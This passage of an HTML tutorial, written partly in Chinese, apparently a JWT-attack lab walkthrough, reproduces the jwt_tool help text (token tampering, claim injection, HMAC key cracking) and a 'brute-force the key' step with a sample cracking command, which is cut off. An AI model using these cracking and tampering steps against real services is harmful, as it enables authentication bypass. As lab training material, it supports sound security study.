style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">pr</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>ps256</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">/</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">ps384</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">/</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">ps512 </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">=</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> PSS</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">RSA signing </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">specify an RSA </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">private</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> key with </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">pr</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">pr PRIVKEY</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">--</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">privkey PRIVKEY<br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>Private Key </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">for</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> Asymmetric crypto<br />
<span>&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">T</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">--</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">tamper<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>tamper with the JWT contents<br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">set signing options with </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">S or use exploits with </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">X</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">I</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">--</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">injectclaims<span>&nbsp;&nbsp;&nbsp; </span>inject </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">new</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> claims and update existing claims with </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">new</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> values<br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">set signing options with </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">S or use exploits with </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">X</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">set target claim with </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">hc</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">/-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">pc and injection values</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">/</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">lists with </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">hv</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">/-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">pv<br />
<span>&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">hc HEADERCLAIM</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">--</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">headerclaim HEADERCLAIM<br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>Header claim to tamper with<br />
<span>&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">pc PAYLOADCLAIM</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">--</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">payloadclaim PAYLOADCLAIM<br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>Payload claim to tamper with<br />
<span>&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">hv HEADERVALUE</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">--</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">headervalue HEADERVALUE<br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>Value </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">or file containing values</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> to inject into tampered header claim<br />
<span>&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">pv PAYLOADVALUE</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">--</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">payloadvalue PAYLOADVALUE<br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>Value </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">or file containing values</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> to inject into tampered payload claim<br />
<span>&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">C</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">--</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">crack<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>crack key </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">for</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> an HMAC</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">SHA token<br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">specify </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">d</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">/-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">p</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">/-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">kf</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">d DICT</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">--</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">dict DICT<span>&nbsp; </span>dictionary file </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">for</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> cracking<br />
<span>&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">p PASSWORD</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">--</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">password PASSWORD<br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>password </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">for</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> cracking<br />
<span>&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">kf KEYFILE</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">--</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">keyfile KEYFILE<br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>keyfile </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">for</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> cracking </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">when signed with 'kid' attacks</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">V</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">--</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">verify<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>verify the RSA signature against a Public Key<br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">specify </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">pk</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">/-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">jw</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">pk PUBKEY</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">--</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">pubkey PUBKEY<br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>Public Key </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">for</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> Asymmetric crypto<br />
<span>&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">jw JWKSFILE</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">--</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">jwksfile JWKSFILE<br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>JSON Web Key Store </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">for</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> Asymmetric crypto<br />
<span>&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">Q QUERY</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">--</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">query QUERY<br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>Query a token ID against the logfile to see the details of that request<br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>e</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">g</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">Q jwttool_46820e62fe25c10a3f5498e426a9f03a<br />
<span>&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">v</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">--</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">verbose<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>When parsing and printing</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> produce </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">slightly more</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> verbose output</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<br />
If you don't have a token</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">try</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">this</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> one</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">eyJsb2dpbiI6InRpY2FycGkifQ</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">bsSwqj2c2uI9n7</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">ajmi3ixVGhPUiY7jO9SUn9dm15Po</span><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Step 4</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:暴力猜解密钥</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">#</span><span style="color:black;font-family:宋体;font-size:9.5pt;">命令格式</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
python3 jwt_tool</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">py</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> JWT_HERE </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">C </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">d dictionary</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">txt</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<br />
#</span><span style="color:black;font-family:宋体;font-size:9.5pt;">执行示例</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
python3 jwt_tool</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">py</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> eyJraWQiOiI4M2RhOGNjMi1hZmZiLTRmZGMtYWMwYS1iMWNmMTBkNjkyZGYiLCJhbGciOiJIUzI1NiJ9</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY4Nzc5NjQwMn0</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">IhZV</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><b><span lang="EN-US" 